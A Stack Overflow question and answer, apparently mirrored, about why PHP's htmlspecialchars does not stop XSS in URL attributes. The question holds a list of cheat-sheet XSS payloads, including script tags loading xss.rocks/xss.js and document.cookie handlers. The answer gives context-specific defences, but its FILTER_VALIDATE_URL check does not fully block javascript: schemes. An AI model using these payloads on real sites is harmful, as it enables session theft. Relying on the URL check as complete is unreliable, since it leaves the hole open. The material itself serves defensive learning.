'XSS attack still works despite htmlspecialchars() doing its work
hi i am trying to filter outputs of users who will put free text and wanna prevent XSS attacks so i tried this function i made to check
<?php
$patterns = [
"<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"javascript:alert('XSS');",
"JaVaScRiPt:alert('XSS')",
"javascript:alert("XSS")",
"javascript:alert(\"RSnake says, 'XSS'\")",
"\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
"\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
"javascript:alert(String.fromCharCode(88,83,83))",
"# onmouseover=\"alert('xxs')\"",
" onmouseover=\"alert('xxs')\"",
"x onerror=\"javascript:alert('XSS')\"",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"jav ascript:alert('XSS');",
"jav	ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"<IMG SRC=java\0script:alert(\"XSS\")>",
"  javascript:alert('XSS');",
"<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
"<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
"<SCRIPT SRC=//xss.rocks/.j>",
"`<javascript:alert>`('XSS')",
"http://xss.rocks/scriptlet.html <",
'http://xss.rocks/xss.js',
'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
"<script>alert('XSS')<script/>"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>
i used htmlspecialchars(htmlspecialchars($pattern))
to encode any <
or >
but it does not seem to prevent the attacks
and iframe
without allow-script
always runs the script as soon as it opens
i was wondering how to sanitize the input completely to prevent this attack completey
i only expect urls and when second link is clicked it runs a script too
Solution 1:[1]
You can't sanitize all type of XSS with htmlspecialchars
.
htmlspecialchars
may help you to protect against XSS inside HTML tags or some quoted HTML attributes.
You have to sanitize the different type of XSS with their own sanitization method.
- User input placed inside HTML:
<p><?php echo $user_entered_variable; ?></p>
Attack vector:
<script>alert(1)</script>
This type of XSS can be sanitized using htmlspecialchars
function because attacker need to use <
and >
to create new HTML tag.
Solution:
<p><?php echo htmlspecialchars($user_entered_variable); ?></p>
- User input placed inside single quoted attribute:
<img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>
Attack vector:
' onload='alert(1)' '
htmlspecialchars
will not encode single quote '
by default. You must turn it on using ENT_QUOTES
option.
Solution:
<img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>
- User input placed inside URL attributes:
src
,href
,formaction
,...
<iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
<img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
<a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>
Attack vector: javascript:alert(1)
, javscript://alert(1)
This function will not prevent those vectors because they haven't any HTML special character. To prevent such attacks, you need to validate input as a URL.
Solution:
<?php
$user_entered_variable = htmlspecialchars($user_entered_variable);
$isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
if(!$isValidURL)
$user_entered_variable = 'invalid://invalid';
?>
<iframe src="<?php echo $user_entered_variable; ?>"></iframe>
<img src="<?php echo $user_entered_variable; ?>">
<a href="<?php echo $user_entered_variable; ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>
- User input placed inside JavaScript tag without any quote
<script>
var inputNumber = <?php echo $user_entered_variable; ?>
</script>
Attack vector: 1;alert(1)
in some cases, we can easily quote input and prevent attack by sanitizing it using htmlspecialchars
but if we need input to be integer we can prevent XSS by using input validation.
Solution:
<script>
var inputNumber = <?php echo intval($user_entered_variable); ?>
</script>
Always quote variables when it placed inside a HTML attribute and do a proper sanitization.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
Solution | Source |
---|---|
Solution 1 | Pouya Darabi |